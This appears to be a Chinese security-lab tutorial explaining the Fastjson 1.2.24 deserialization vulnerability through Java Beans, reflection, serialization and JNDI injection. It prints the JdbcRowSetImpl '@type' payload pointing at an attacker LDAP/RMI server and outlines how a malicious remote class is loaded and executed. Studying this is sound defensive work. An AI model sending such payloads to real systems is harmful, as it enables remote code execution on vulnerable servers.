Fasjson是阿里巴巴开源的一套用解析JSON字符串的解析库,Fastjson可以将Java对象序列化为JSON字符串,也可以将JSON字符串转换为Java对象。
在学习Fastjson反序列化漏洞之前,需要先了解一些概念:
1、Java Bean
2、Java反射
3、什么是序列化/反序列化
4、JNDI与JNDI注入
下面先对这些基本的概念进行解析,理解这些概念之后才能更清晰的理解Fastjson反序列化漏洞的原理
Java Bean是一种规范,准确的说是一种Java类的书写规范,满足以下条件的Java类可以称之为Java Bean。
1、成员变量均使用private关键字进行修饰
2、提供构造方法(有参/无参)
3、为每个成员变量提供set/get方法
public class Student {
private String name;
private int sid;
private int age;
public Student(String name, int sid, int age) {
this.name = name;
this.sid = sid;
this.age = age;
}
public Student() {
}
public void setName(String name) {
this.name = name;
}
public void setSid(int sid) {
this.sid = sid;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public int getSid() {
return sid;
}
public int getAge() {
return age;
}
}
以上代码定义了一个类,名为Student,分别定义了空参/有参的构造函数,该类有三个成员变量均使用了private关键字修饰为私有,并为每个成员都提供了set/get方法,所以该类可以称为Java Bean类。
get/set方法的作用是,在对象的成员变量进行取值或赋值操作时提供了一个标准的接口,因为private修饰的变量是不能通过.属性名的方式直接获取或是修改的,这是面向对象特性其一"封装"的体现,目的是为了隐藏类的内部实现细节,Java提供的原生类大都符合Java Bean的规范。
在书写Java类时并不是必须要求按照这种规范进行书写才能运行Java程序,Java Bean规范的意义在于提升代码的重用性,在一些标准的框架/组件中通常会按照这种规范来与Java Bean进行交互。
Java反射指的是Java平台提供的一种用于在程序运行期间动态获取任意类的所有信息(例如属性,方法,构造方法等信息)调用任意对象方法/属性的机制,通过反射还可以创建对应类的实例,反射是一种很强大的机制。
在JVM加载一个class文件到JVM中时会创建一个与之对应的class对象,该对象被称为字节码对象,通过此对象可以获取到对应的类中的所有信息(例如属性,方法,构造方法等信息),class对象提供的方法可以将类中的各个部分(属性,方法...)映射封装为对应Java对象,这个过程被称之为"反射"。
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) {
Class cls = Student.class; // 获取Student类的字节码对象
System.out.println(cls.getName()); // 通过反射获取类名
System.out.println("----------------------------------");
Field[] Filed = cls.getDeclaredFields(); // 通过反射获取所有字段,返回值为属性类型对象的数组
for (Field fil:Filed) {
System.out.println(fil.getName());
}
System.out.println("----------------------------------");
Method[] Method = cls.getMethods(); // 通过反射获取类中所有方法,返回值为方法类型对象的数组
for (Method met:Method) {
System.out.println(met.getName());
}
}
}
将Java对象转换为字节序列的过程称之为序列化,将字节序列转换为Java对象的过程称之为反序列化。
这里使用FastJson解析库做示范,该解析库提供了对Java对象进行序列化和反序列化的功能,当然,除了FastJson之外还有很多第三方库可以进行序列化和反序列化操作。
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
Student Liming = new Student("Liming",101,20); // 实例化一个Student对象
String json = JSON.toJSONString(Liming); // 将此对象转换为json字符串
System.out.println(json);
}
}
{"age":20,"name":"Liming","sid":101}
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
Student xiaoming = JSON.parseObject("{"age":20,"name":"Liming","sid":101}",Student.class);
System.out.println("Name: "+xiaoming.getName());
System.out.println("Age: "+xiaoming.getAge());
System.out.println("Sid: "+xiaoming.getSid());
}
}
Name: Liming
Age: 20
Sid: 101
:
命名服务:
命名服务广泛应用于计算机领域,命名服务的本质是提供一种从名称到对象间映射关系的查询服务,例如DNS服务,可以根据域名查询到其对应的IP地址,Windows系统中的搜索功能可以根据应用程序名称查询到对应的应用程序,这些功能/服务都属于命名服务的范畴。在现实世界中类似于姓名对应个人的映射关系,而提供名称可以查询到个人的服务就可以称为命名服务(电话号码簿)。
目录服务:
目录服务将名称与对象相关联,并允许此类对象具有属性。因此,不仅可以按名称查找对象,还可以获取对象的属性或根据其属性搜索对象。因此目录服务是命名服务的一种扩展,除了可以将名称与对象进行绑定以外,还允许该对象拥有特定的属性。例如,目录对象可用于表示打印机,人员,计算机或网络,目录对象包含描述它所表示的对象的属性。
JNDI支持将一个名称映射到一个Java对象,可以通过JNDI中的lookup函数向特定的提供命名服务的服务器发起查询请求获取具体对象。lookup函数可以向远程的提供目录服务的服务器发起请求查询指定对象,如果返回的是Reference类型的对象,JNDI会解析该对象的classFactory、classFactoryLocation属性。classFactory通常代表类名,classFaxtoryLocation通常代表其存储地址,JVM首先会尝试在本地寻找该类,如果本地不存在则会从classFactoryLocation(通常是一个http服务器的地址,位于远程)中进行加载,此时会触发 URLClassLoader类远程加载器,会从classFactoryLocation地址中获取远程的class文件并将其加载到JVM中。
如果加载的类是一个恶意类,例如类中的static代码块中包含恶意代码,那就会在类被加载到JVM时执行static静态代码块中的代码,如果其中包含执行系统命令的代码,那么就会导致任意命令执行。
:
1、准备提供rmi或ldap的程序,再准备一个恶意类。
2、创建一个Reference对象,当一个对象不能直接存储在目录中时,就可以用使用Reference对象,这是JNDI中定义的一个类,用于描述对象的相关信息,例如类名,对象路径,class文件名,具体存储位置等信息。在Reference对象中描述恶意类的类名,class文件名,存储的地址等信息。
3、启动LDAP/RMI服务将Reference绑定到一个名称上。
4、在存在JNDI注入的地方访问搭建的ldap或rmi服务查询指定的名称。此时目录服务会返回Reference对象,如果返回的对象是javax.naming.Reference类型的对象的话,JNDI会解析“classFactory”和“classFactoryLocation”属性,如果本地类路径存在该类就会在本地加载,如果本地不存在就会从classFactoryLocation中进行加载,classFactoryLocation通常是该类存储的地址,通常是一个http连接,此时会触发java的URLClassLoader类远程加载器,该加载器会获取远程类的字节码并将其加载到JVM中,此时恶意类的static代码块就会被执行,从而达到任意代码执行的目的。
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String json = "{"age":20,"name":"Liming","sid":101}";
Student xiaoming = JSON.parseObject(json,Student.class);
}
}
这段代码中,使用parseObject方法进行反序列化操作,前面有说过在反序列化的过程中需要使用反射机制来创建对象调用对应的方法,所以该方法的第二个参数需要传递反序列化的具体类型的字节码对象。
反序列化的目的是将一段JSON字符串转换为对应的对象,在转换的过程中就需要涉及为对象成员变量设置值的情况,那如果一个成员变量是私有的,就需要调用setter方法来进行赋值,这是漏洞触发的重点。
{"age":20,"name":"Liming","sid":101}
在前面书写的Java Bean Student类中,这三个成员都是私有的,所以在进行反序列的过程中,就需要调用三个成员对应的setter方法来设置值。
为了证明这一点,尝试在name属性的setter方法中添加一行执行命令的代码,用来弹出计算器,如果成功弹出则证明这个方法被调用了
FastJson的AutoType机制支持在反序列化的过程中自动获取指定类的Class文件对象,当序列化的JSON字符串中包含@type键时就会自动将其值作为反序列化生成对象的具体类型,FastJson自动获取对应的Class字节码对象,从而进行反射创建实例,为对象属性赋值等操作(和正常情况一样),唯一的区别是不用直接传递class对象了,在JSON字符串中使用@type健即可自动获取类对应的Class对象。
在使用toJSONString方法进行序列化操作时,传入SerializerFeature.WriteClassName即可使输出的格式化字符串携带@type键。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
Student xm = new Student("xiaoming",101,20);
String json = JSON.toJSONString(xm, SerializerFeature.WriteClassName);
System.out.println(json);
}
}
{"@type":"Student","age":20,"name":"xiaoming","sid":101}
FastJson1.2.24版本反序列化漏洞Payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap/rmi Server", "autoCommit":true}
setDataSourceName方法:
setAutoCommit方法:
FastJson在设置多个属性值时调用setter方法的顺序是按照JSON字符串中属性的先后次序进行调用的。在payload中,会先调用dataSourceName的setter方法对其值进行设置,利用过程中dataSourceName的值通常会被设置为一个ldap或者rmi服务的地址。
重点在AutoCommit属性的setter方法中,这个方法中调用了connect方法。在connect方法中调用了JNDI中的lookup函数,并且将getDataSourceName函数的值传入了lookup函数,按照JSON的先后顺序,DataSourceName属性值已被设置为了恶意ldap/rmi服务的地址,所以传入lookup函数的参数是外部可控的,最终达到了JNDI注入的目的。
漏洞复现:
使用JNDIExploit工具启动一个ldap服务
运行代码对恶意JSON进行反序列化:
触发链:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://evilpan.com/2021/12/13/jndi-injection/
https://www.anquanke.com/post/id/240446#h3-17
http://t.csdn.cn/BMYAd
由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(NGC660安全实验室):FastJson反序列化漏洞解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论